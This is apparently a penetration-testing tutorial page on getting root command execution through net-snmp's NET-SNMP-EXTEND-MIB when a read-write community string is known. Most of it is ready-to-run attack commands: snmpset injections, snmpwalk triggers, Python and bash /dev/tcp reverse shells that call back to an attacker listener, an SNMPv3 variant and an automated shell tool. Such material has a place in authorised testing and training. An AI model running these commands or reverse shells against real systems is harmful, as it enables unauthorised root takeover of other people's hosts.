Skip to content
HackIndex logo

HackIndex

SNMP Write Abuse – RCE via NET-SNMP-EXTEND-MIB

4 min read May 15, 2026

When a Linux host runs net-snmp with a read-write community string, you can inject arbitrary OS commands via the NET-SNMP-EXTEND-MIB. The MIB allows appending new rows to the nsExtendObjects table over SNMP, each row defining a command the daemon will execute on demand. Because snmpd typically runs as root, the commands execute with full privileges.

You cannot modify entries already defined in snmpd.conf, but you can freely add new ones. Commands are triggered when the nsExtendObjects table is read via snmpwalk — this is the run-on-read behaviour that makes the technique work without requiring a second write step.

You need a valid read-write community string. Finding one is an enumeration task. If you only have a read-only community string this technique does not apply.

Prerequisites

Install the required MIB packages on your attack box. Without these, snmpset and snmpwalk cannot resolve the NET-SNMP-EXTEND-MIB names:

┌──(kali㉿kali)-[~]
└─$ sudo apt install snmp snmp-mibs-downloader -y

Enable all MIBs by editing /etc/snmp/snmp.conf and commenting out or removing the mibs : line, then adding:

mibs +ALL

Verify the MIB is available:

┌──(kali㉿kali)-[~]
└─$ snmptranslate NET-SNMP-EXTEND-MIB::nsExtendObjects

Injecting a Command

Register a new command in the nsExtendObjects table with three snmpset OIDs in a single call. The command name is an arbitrary string identifier — use something that blends in or is unique enough to track:

┌──(kali㉿kali)-[~]
└─$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c $PASSWORD $TARGET_IP 'nsExtendStatus."cmd1"' = createAndGo 'nsExtendCommand."cmd1"' = /bin/bash 'nsExtendArgs."cmd1"' = '-c "id"'

nsExtendStatus = createAndGo creates the row and activates it immediately. nsExtendCommand must be the absolute path to the binary. nsExtendArgs passes arguments.

Triggering Execution and Reading Output

Reading the nsExtendObjects table triggers all registered commands and returns their output:

┌──(kali㉿kali)-[~]
└─$ snmpwalk -v 2c -c $PASSWORD $TARGET_IP NET-SNMP-EXTEND-MIB::nsExtendObjects
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd1" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd1" = STRING: -c "id"
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."cmd1" = STRING: uid=0(root) gid=0(root) groups=0(root)
NET-SNMP-EXTEND-MIB::nsExtendResult."cmd1" = INTEGER: 0

The output appears in nsExtendOutput1Line for single-line results or nsExtendOutLine for multi-line output. A result of 0 means the command executed successfully.

Getting a Reverse Shell

Start a listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Inject a Python reverse shell. Use a unique command name to avoid collisions with previous entries:

┌──(kali㉿kali)-[~]
└─$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c $PASSWORD $TARGET_IP 'nsExtendStatus."shell"' = createAndGo 'nsExtendCommand."shell"' = /usr/bin/python3 'nsExtendArgs."shell"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\""$LHOST"\",$LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Trigger by walking the table:

┌──(kali㉿kali)-[~]
└─$ snmpwalk -v 2c -c $PASSWORD $TARGET_IP NET-SNMP-EXTEND-MIB::nsExtendObjects

Your listener receives a root shell. The snmpwalk call will appear to hang — that is normal while the shell is active.

If Python3 is not available, try a bash reverse shell:

┌──(kali㉿kali)-[~]
└─$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c $PASSWORD $TARGET_IP 'nsExtendStatus."shell"' = createAndGo 'nsExtendCommand."shell"' = /bin/bash 'nsExtendArgs."shell"' = '-c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"'

Semi-Interactive Shell with snmp-shell

For a more interactive experience without manually crafting each snmpset, snmp-shell automates the inject-walk cycle and simulates a shell prompt:

┌──(kali㉿kali)-[~]
└─$ sudo apt install snmp snmp-mibs-downloader rlwrap -y
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/mxrch/snmp-shell
┌──(kali㉿kali)-[~]
└─$ cd snmp-shell
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv && source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip install -r requirements.txt
┌──(kali㉿kali)-[~]
└─$ rlwrap python3 shell.py $TARGET_IP -c $PASSWORD

This gives you a pseudo-interactive shell running as root. Commands that require a fully interactive TTY (vim, mysql client, su) do not work through this interface — use it for enumeration and then drop a proper reverse shell.

SNMPv3 with Write Access

If the target uses SNMPv3 with auth and privacy, the same technique applies but the snmpset syntax changes:

┌──(kali㉿kali)-[~]
└─$ snmpset -v 3 -u $USER -l authPriv -a SHA -A $AUTH_PASS -x AES -X $PRIV_PASS $TARGET_IP 'nsExtendStatus."cmd1"' = createAndGo 'nsExtendCommand."cmd1"' = /bin/bash 'nsExtendArgs."cmd1"' = '-c "id"'

Trigger the same way with snmpwalk using matching SNMPv3 credentials.

Cleanup

Remove injected entries after the engagement to leave the service in its original state:

┌──(kali㉿kali)-[~]
└─$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c $PASSWORD $TARGET_IP 'nsExtendStatus."cmd1"' = destroy
┌──(kali㉿kali)-[~]
└─$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c $PASSWORD $TARGET_IP 'nsExtendStatus."shell"' = destroy

Setting nsExtendStatus to destroy removes the row from the table.

Before exploiting, confirm write access is available — see SNMP Write-Enabled Community String for the verification workflow.

References